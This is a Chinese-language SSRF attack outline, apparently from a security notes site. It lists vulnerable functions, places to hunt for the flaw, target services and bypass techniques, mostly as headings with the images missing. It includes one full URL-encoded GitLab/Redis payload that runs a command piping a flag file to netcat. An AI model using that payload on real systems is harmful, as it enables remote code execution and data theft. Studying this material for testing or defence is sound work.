SSRF

定义

服务端请求伪造
构造一个由服务器发出请求的漏洞
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制

成因

file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()等函数使用不当会造成SSRF漏洞

挖掘

转码服务
在线翻译
获取超链接的标题等内容进行显示
请求远程服务器资源的地方,图片加载与下载(通过URL地址加载或下载图片)
图片、文章收藏功能
对外发起网络请求的地方,网站采集、网页抓取的地方。
头像 (远程加载头像)
一切要你输入网址的地方和可以输入ip的地方。
数据库内置功能(mongodb的copyDatabase函数)
邮件系统
文件处理
在线处理工具
从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain

利用工具

XML

数据库

MongoDB

PostgresSQL

MSSQL

图片处理函数

攻击

文件读取

image

端口探测

image
image

SSRF+Redis

image
image

302反弹shell

Mysql

Weblogic SSRF+Redis

Ueditor SSRF

Discuz

探测存活主机

image

gopher协议的脚本转换

image
image
image
image
image
image
image

协议

dict协议写shell

slaveof复制shell到目标

slaveof反弹shell

SSRF+PDF

盲SSRF

Elasticsearch

Weblogic

Hashicorp Consul

Shellshock

Apache Druid

Apache Solr

PeopleSoft

Apache Struts

JBOSS

Confluence

Jira

其他 Atlassian 产品

OpenTSDB

Jenkins

Hystrix

W3 Total Cache

Docker

Gitlab Prometheus Redis Exporter

Redis

通过 Git 协议在 GitLab 上进行 RCE

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

Apache Tomcat

FastCGI

Java RMI

SSRF到XSS

XSS到SSRF

使用 iframe

cat attachment.bin

Bypass

本地绕过

使用 HTTPS 绕过

[::]绕过

@绕过

利用短网址

DNS解析

进制转换

句号

302脚本

dict协议

Gopher协议

File协议

使用 CIDR 绕过

使用 IPv6/IPv4 地址嵌入绕过

使用格式错误的 url 绕过

使用稀有地址绕过

使用 URL 编码绕过

使用 bash 变量绕过

使用技巧组合绕过

使用封闭的字母数字绕过

使用 unicode 绕过

绕过php 函数filter_var()

绕过弱解析器

使用重定向绕过

使用 type=url 绕过

使用 DNS 重新绑定 (TOCTOU) 绕过

使用 jar 协议绕过(仅限 java)

最后更新于

这有帮助吗?